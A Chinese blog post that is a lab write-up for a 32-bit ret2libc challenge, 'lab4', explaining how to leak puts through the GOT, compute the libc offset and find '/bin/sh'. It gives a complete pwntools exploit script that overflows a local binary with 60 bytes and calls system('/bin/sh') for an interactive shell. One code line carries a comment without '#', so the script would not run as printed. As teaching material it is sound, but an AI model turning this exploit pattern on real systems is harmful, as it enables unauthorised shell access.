lab4

作者: n0va | 来源:发表于2019-01-21 13:04 被阅读0次

两次输入,第一次输入一个地址,然后程序打印出地址的内容,这可以想到将puts_got地址输入就可以拿到puts函数的真实,先checksec一波

image.png

一道简单的ret2libc,那么接下来思路很简单,第一次输入给puts_got地址,拿到puts函数的真实地址,再得到puts函数的libc地址就可以算出偏移,之后 就可以为所欲为的得到其它函数的真实地址了;先找一下库文件:

image.png

接下来解决两个小问题:
1、查找 字符串"\bin\sh"
2、爆出第二次输入的偏移
字符串的查找可以用pwntoolsbinsh_libc = libc.search('/bin/sh').next()
偏移的获得用cyclic 参数生成一串字符之后 ,在gdb中输入得到一个地址,再用cyclic -l 地址即可得到到ret的偏移:

image.png

exp:

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got)    #134520860
pause()
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
print "puts_addr:" + hex(puts_addr)
puts_libc = libc.symbols['puts']
print "puts_libc:" + hex(puts_libc)
system_libc = libc.symbols['system']
print "system_libc:" + hex(system_libc)
binsh_libc = libc.search('/bin/sh').next()     查找 "/bin/sh" 的地址
print "binsh_libc:" + hex(binsh_libc)
offset = puts_addr - puts_libc    #偏移
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
# main = 0x804857D
ret= 0xdeadbeef  #返回地址随意

payload = "A" * 60
payload += p32(system_addr) + p32(ret) + p32(binsh_addr)
# payload += p32(system_addr) + 'b' * 4 + p32(binsh_addr)
# gdb.attach(p,"b *0x0804862F")
# pause()
p.sendline(payload)
p.interactive()

相关文章

  • Lab4

    Lab4 report 练习0:填写已有实验 用meld对比修改了以下文件: 练习1:分配并初始化一个进程控制块(...

  • lab4

    两次输入,第一次输入一个地址,然后程序打印出地址的内容,这可以想到将puts_got地址输入就可以拿到puts函数...

  • Mit6.828 lab4 Part C:Preeptive M

    环境 deepin 20实验地址:mit6.828 2018 lab4 partC[https://pdos.cs...

  • 2018-12-21

    操作系统lab4学习笔记 1.看程序 kern/mpconfig.c 这里attribute aligned是对齐...

  • Lab4 Deadlock

    1. 死锁停在第212次: 2. 产生死锁的4个必要条件: 1.资源互斥(Mutual exclusion): 一...

  • ucore lab4

    OS课程 ucore_lab4实验报告 练习零:填写已有实验   本实验依赖实验1/2/3。请把你做的实验1/2/...

  • CSE lab4

    Part 0 & 1 大多数都是按照文档来,但是碰到小问题卡了接近一天 ssh passwordless logi...

  • OS lab4

    ex1参照nextfree,然后需要对齐,直接调用boot map的代码 ex2先单核启动的(BSP),再是APs...

  • 清华大学操作系统课程 ucore Lab4 内核线程管理 实验报

    操作系统 Lab4 内核线程管理 实验报告 课程信息所在网址:https://github.com/chyyuu/...

  • 操作系统实验:Lab4 内核线程管理

    清华大学操作系统Lab4实验报告课程主页:http://os.cs.tsinghua.edu.cn/oscours...

网友评论

      本文标题:lab4

      本文链接:https://www.haomeiwen.com/subject/nmccjqtx.html